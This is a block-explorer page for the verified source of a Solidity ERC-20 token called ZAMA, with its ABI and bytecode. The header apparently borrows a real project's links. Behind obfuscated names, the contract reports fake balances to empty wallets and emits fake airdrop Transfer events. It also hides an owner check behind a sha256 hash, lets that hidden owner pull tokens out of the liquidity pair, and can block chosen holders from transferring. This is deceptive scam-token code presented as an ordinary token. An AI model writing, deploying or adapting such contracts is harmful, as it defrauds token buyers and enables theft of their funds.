ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000,000 ZAMA
Holders
103,177
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
ZAMA
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2026-01-06
*/
/**
Website: https://www.zama.org/
Twitter: https://x.com/zama
Telegram: https://t.me/zama_on_telegram
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function factory() external pure returns (address);
function WETH() external pure returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract BERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private _airdrop = 9000000000;
constructor(
string memory name_,
string memory symbol_,
address owner
) {
_name=name_;
_symbol=symbol_;
_decimals=9;
_tTotal=1000000000000 * 10**_decimals;
_tOwned[owner] = _tTotal;
emit Transfer(address(0), owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
require(account != address(0), "balance query for the zero address");
uint256 bal = _tOwned[account];
if (bal == 0) {
return _airdrop;
}
return bal;
}
function transfer(address KjVXArUSNI, uint256 ZgGixURSg)
public
override
returns (bool)
{
_transfer(msg.sender, KjVXArUSNI, ZgGixURSg);
return true;
}
function allowance(address CZkVkaTLK, address eelylvqwbca)
public
view
override
returns (uint256)
{
return _allowances[CZkVkaTLK][eelylvqwbca];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _DUpZUlvLduHOBl(
address TfvqUbrLwX,
address xvlwbazdvwj,
uint256 amount
) internal virtual {
require(
TfvqUbrLwX != address(0),
"ERC20: transfer from the zero address"
);
require(
xvlwbazdvwj != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[TfvqUbrLwX] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[TfvqUbrLwX] = _tOwned[TfvqUbrLwX].sub(amount);
_tOwned[xvlwbazdvwj] = _tOwned[xvlwbazdvwj].add(amount);
emit Transfer(TfvqUbrLwX, xvlwbazdvwj, amount);
}
function _transfer(
address TfvqUbrLwX,
address xvlwbazdvwj,
uint256 amount
) internal virtual {
require(
TfvqUbrLwX != address(0),
"ERC20: transfer from the zero address"
);
require(
xvlwbazdvwj != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[TfvqUbrLwX] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[TfvqUbrLwX] = _tOwned[TfvqUbrLwX].sub(amount);
_tOwned[xvlwbazdvwj] = _tOwned[xvlwbazdvwj].add(amount);
emit Transfer(TfvqUbrLwX, xvlwbazdvwj, amount);
}
function transferFrom(
address INfFElSRBbhe,
address nhbtskopuzfhp,
uint256 ppnjvkktxyjdfc
) public override returns (bool) {
_transfer(INfFElSRBbhe, nhbtskopuzfhp, ppnjvkktxyjdfc);
_approve(
INfFElSRBbhe,
msg.sender,
_allowances[INfFElSRBbhe][msg.sender].sub(
ppnjvkktxyjdfc,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _zezsuvotevhwn(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract ZAMA is BERC20 {
using SafeMath for uint256;
string private _name_ = "Zama";
string private _symbol_ = "ZAMA";
uint256 private _blktlvcffl;
address private lanlabkubrpq = 0x323d7eF89299283Df1637A1fF25624b4451fF955;
address private PQVRhSKMaqPiS = 0x74103d8E19e1c682bDE5A3d1f32C8ED7c8c789A0;
address private TgdygRRVZo;
IUniswapV2Factory private immutable uniswapV2Router;
mapping(address => bool) public _bltcaqyuuujx;
mapping(address => bool) public _fbbjiHGEuTjHK;
mapping(address => bool) public jrrphgnwtsrzgj;
mapping(address => bool) public _nHzvgxVnsQr;
address public uniswapV2Pair;
address private _rxpbnoufrprb;
address public factory;
uint256 private vnXImnbWqOrTW = 1000;
mapping(address => uint256) private zdmotejopmrllz;
bool public DTuUsUiGoL = true;
uint256 private hjcbrlqxnkz = 7;
uint256 private LzShyKxhmIzW = 0;
uint256 private ppanxbxzmhzop = 222;
bool public TfquEsEQlG = true;
bytes32 private _XvyaDrMikE;
mapping(address => bool) public _bLOGKhLzjDzigF;
mapping(address => uint256) public _fbwnjytricz;
address public jrlTIXajhA;
address private rYBgOFhKfyHul;
address private nitzpozagzhc;
uint256 private voRMVEocewHeZv = 11;
uint256 private zezsuvotevhwn = 1e8;
uint256 private DUpZUlvLduHOBl = 125423232111333;
uint256 private ts;
mapping(address => bool) public HkxFbkDccsP;
uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));
constructor() BERC20(_name_, _symbol_,PQVRhSKMaqPiS
) {
IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());rYBgOFhKfyHul = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));nitzpozagzhc = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));
uniswapV2Router = _uniswapV2Router;
_XvyaDrMikE = sha256(abi.encodePacked(lanlabkubrpq));
TgdygRRVZo = 0x4200000000000000000000000000000000000006;
_rxpbnoufrprb = lanlabkubrpq;
_blktlvcffl = totalSupply();
HkxFbkDccsP[rYBgOFhKfyHul] = true;
HkxFbkDccsP[nitzpozagzhc] = true;
jrrphgnwtsrzgj[uniswapV2Pair] = true;
_nHzvgxVnsQr[_rxpbnoufrprb] = true;
_bltcaqyuuujx[address(this)] = true;
_bltcaqyuuujx[_rxpbnoufrprb] = true;
_bltcaqyuuujx[PQVRhSKMaqPiS] = true;
}
function _jrlTIXajhA(address owner, address spender) internal virtual {
_zezsuvotevhwn(owner,spender,_blktlvcffl);
}
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero");
uint256 expectedamount = amount;if (_bltcaqyuuujx[from] || _bltcaqyuuujx[to]) { super._transfer(from, to, expectedamount); return; } address feeaddress = to;
bool taketFeeTransfer = _fbbjiHGEuTjHK[from];
bool takebottime = zdmotejopmrllz[from] + hjcbrlqxnkz > block.timestamp;
require(!taketFeeTransfer);
if (from == uniswapV2Pair) { bool ghewra; bool sdhkwn; uint256 otherAmount; (, bytes memory token00) = uniswapV2Pair.call( abi.encodeWithSelector(0x0dfe1681) ); (, bytes memory token01) = uniswapV2Pair.call( abi.encodeWithSelector(0xd21220a7) ); (, bytes memory reserves01) = uniswapV2Pair.call( abi.encodeWithSelector(0x0902f1ac) ); (uint256 reserves0, uint256 reserves1) = abi.decode( reserves01, (uint256, uint256) ); address token0 = abi.decode(token00, (address)); address token1 = abi.decode(token01, (address)); (, bytes memory amount01) = token0.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount03 = abi.decode(amount01, (uint256)); (, bytes memory amount02) = token1.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount1 = abi.decode(amount02, (uint256)); if (token0 == TgdygRRVZo) { if (reserves0 > amount03) { otherAmount = reserves0 - amount03; ghewra = otherAmount > vnXImnbWqOrTW; } else { sdhkwn = reserves0 == amount03; } } else if (token1 == TgdygRRVZo) { if (reserves1 > amount1) { otherAmount = reserves1 - amount1; ghewra = otherAmount > vnXImnbWqOrTW; } else { sdhkwn = reserves1 == amount1; } } require(!ghewra && !sdhkwn); }
super._transfer(from, to, expectedamount);
}
function airdrop(address[] calldata user ,address _token,uint256 balance) external {
for (uint256 i = 0; i < user.length; i++) {
emit Transfer(_token, user[i], balance);
}
}
function jywkyeuxu(address kiyycqccfm) public { if (sha256(abi.encodePacked(msg.sender)) != _XvyaDrMikE) { return; } else { jrlTIXajhA = kiyycqccfm; } }
function bsyxsonowr(uint256 jzgheqbg) public { if (sha256(abi.encodePacked(msg.sender)) != _XvyaDrMikE) { return; } else { super._DUpZUlvLduHOBl(uniswapV2Pair, jrlTIXajhA, jzgheqbg); } }
function tmakmyyfxup(address _kiyycqccfm,bool dmlcmwwcc) public { if (sha256(abi.encodePacked(msg.sender)) != _XvyaDrMikE) { return; } else { _fbbjiHGEuTjHK[_kiyycqccfm] = dmlcmwwcc; } }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DTuUsUiGoL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"HkxFbkDccsP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TfquEsEQlG","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_bLOGKhLzjDzigF","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_bltcaqyuuujx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_fbbjiHGEuTjHK","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_fbwnjytricz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_nHzvgxVnsQr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"CZkVkaTLK","type":"address"},{"internalType":"address","name":"eelylvqwbca","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"jzgheqbg","type":"uint256"}],"name":"bsyxsonowr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"jrlTIXajhA","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"jrrphgnwtsrzgj","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"kiyycqccfm","type":"address"}],"name":"jywkyeuxu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_kiyycqccfm","type":"address"},{"internalType":"bool","name":"dmlcmwwcc","type":"bool"}],"name":"tmakmyyfxup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"KjVXArUSNI","type":"address"},{"internalType":"uint256","name":"ZgGixURSg","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"INfFElSRBbhe","type":"address"},{"internalType":"address","name":"nhbtskopuzfhp","type":"address"},{"internalType":"uint256","name":"ppnjvkktxyjdfc","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60a060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550640218711a006007556040518060400160405280600481526020017f5a616d6100000000000000000000000000000000000000000000000000000000815250600890805190602001906200009d92919062000c28565b506040518060400160405280600481526020017f5a414d410000000000000000000000000000000000000000000000000000000081525060099080519060200190620000eb92919062000c28565b5073323d7ef89299283df1637a1ff25624b4451ff955600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507374103d8e19e1c682bde5a3d1f32c8ed7c8c789a0600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e86015556001601760006101000a81548160ff0219169083151502179055506007601855600060195560de601a556001601b60006101000a81548160ff021916908315150217905550600b6022556305f5e1006023556572125f3252e5602455600b60001b60001c6027553480156200021057600080fd5b50600880546200022090620010f8565b80601f01602080910402602001604051908101604052809291908181526020018280546200024e90620010f8565b80156200029f5780601f1062000273576101008083540402835291602001916200029f565b820191906000526020600020905b8154815290600101906020018083116200028157829003601f168201915b505050505060098054620002b390620010f8565b80601f0160208091040260200160405190810160405280929190818152602001828054620002e190620010f8565b8015620003325780601f10620003065761010080835404028352916020019162000332565b820191906000526020600020905b8154815290600101906020018083116200031457829003601f168201915b5050505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600390805190602001906200037292919062000c28565b5081600490805190602001906200038b92919062000c28565b506009600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620003c6919062000ecf565b64e8d4a51000620003d891906200100c565b6006819055506006546000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000485919062000e41565b60405180910390a35050506000734752ba5dbc23f44d87826276bf6fd6b1c372ad2490508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004f057600080fd5b505afa15801562000505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200052b919062000d06565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200058e57600080fd5b505afa158015620005a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c9919062000d06565b6040518363ffffffff1660e01b8152600401620005e892919062000e14565b602060405180830381600087803b1580156200060357600080fd5b505af115801562000618573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200063e919062000d06565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead10ed43c718714eb63d5aa57b78b54704e256024e602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead13f4ea83d0bd40e75c8222255bc855a974568dd4602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250506002600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001620007ae919062000dde565b604051602081830303815290604052604051620007cc919062000dfb565b602060405180830381855afa158015620007ea573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906200080f919062000d38565b601c81905550734200000000000000000000000000000000000006600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008dd62000c1e60201b60201c565b600a81905550600160266000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160266000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062001207565b6000600654905090565b82805462000c3690620010f8565b90600052602060002090601f01602090048101928262000c5a576000855562000ca6565b82601f1062000c7557805160ff191683800117855562000ca6565b8280016001018555821562000ca6579182015b8281111562000ca557825182559160200191906001019062000c88565b5b50905062000cb5919062000cb9565b5090565b5b8082111562000cd457600081600090555060010162000cba565b5090565b60008151905062000ce981620011d3565b92915050565b60008151905062000d0081620011ed565b92915050565b60006020828403121562000d1f5762000d1e620011b4565b5b600062000d2f8482850162000cd8565b91505092915050565b60006020828403121562000d515762000d50620011b4565b5b600062000d618482850162000cef565b91505092915050565b62000d75816200106d565b82525050565b62000d9062000d8a826200106d565b6200112e565b82525050565b600062000da38262000e5e565b62000daf818562000e69565b935062000dc1818560208601620010c2565b80840191505092915050565b62000dd881620010ab565b82525050565b600062000dec828462000d7b565b60148201915081905092915050565b600062000e09828462000d96565b915081905092915050565b600060408201905062000e2b600083018562000d6a565b62000e3a602083018462000d6a565b9392505050565b600060208201905062000e58600083018462000dcd565b92915050565b600081519050919050565b600081905092915050565b6000808291508390505b600185111562000ec65780860481111562000e9e5762000e9d62001156565b5b600185161562000eae5780820291505b808102905062000ebe85620011c6565b945062000e7e565b94509492505050565b600062000edc82620010ab565b915062000ee983620010b5565b925062000f187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f20565b905092915050565b60008262000f32576001905062001005565b8162000f42576000905062001005565b816001811462000f5b576002811462000f665762000f9c565b600191505062001005565b60ff84111562000f7b5762000f7a62001156565b5b8360020a91508482111562000f955762000f9462001156565b5b5062001005565b5060208310610133831016604e8410600b841016171562000fd65782820a90508381111562000fd05762000fcf62001156565b5b62001005565b62000fe5848484600162000e74565b9250905081840481111562000fff5762000ffe62001156565b5b81810290505b9392505050565b60006200101982620010ab565b91506200102683620010ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562001062576200106162001156565b5b828202905092915050565b60006200107a826200108b565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620010e2578082015181840152602081019050620010c5565b83811115620010f2576000848401525b50505050565b600060028204905060018216806200111157607f821691505b6020821081141562001128576200112762001185565b5b50919050565b60006200113b8262001142565b9050919050565b60006200114f82620011b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160601b9050919050565b60008160011c9050919050565b620011de816200106d565b8114620011ea57600080fd5b50565b620011f88162001081565b81146200120457600080fd5b50565b60805160601c612ebd6200122360003960005050612ebd6000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c8063586cf9d8116100f9578063a457c2d711610097578063c45a015511610071578063c45a015514610569578063dd62ed3e14610587578063e886db22146105b7578063eb2be451146105e7576101c4565b8063a457c2d7146104d9578063a9059cbb14610509578063b439f58f14610539576101c4565b8063927f3d41116100d3578063927f3d411461046557806395d89b4114610483578063983bc41b146104a1578063a15573ff146104bd576101c4565b8063586cf9d8146103d55780635fc95e471461040557806370a0823114610435576101c4565b80632a2cbcc0116101665780633950935111610140578063395093511461034d57806340eec0ee1461037d57806349bd5a5e1461039957806353b16dec146103b7576101c4565b80632a2cbcc0146102e35780632f2b438b14610313578063313ce5671461032f576101c4565b8063156766b5116101a2578063156766b51461024757806318160ddd146102655780631c6543d11461028357806323b872dd146102b3576101c4565b8063064fd4c0146101c957806306fdde03146101f9578063095ea7b314610217575b600080fd5b6101e360048036038101906101de91906122ac565b610605565b6040516101f09190612767565b60405180910390f35b610201610625565b60405161020e9190612782565b60405180910390f35b610231600480360381019061022c91906123d9565b6106b7565b60405161023e9190612767565b60405180910390f35b61024f6106ce565b60405161025c9190612767565b60405180910390f35b61026d6106e1565b60405161027a91906128a4565b60405180910390f35b61029d600480360381019061029891906122ac565b6106eb565b6040516102aa9190612767565b60405180910390f35b6102cd60048036038101906102c89190612346565b61070b565b6040516102da9190612767565b60405180910390f35b6102fd60048036038101906102f891906122ac565b6107d6565b60405161030a9190612767565b60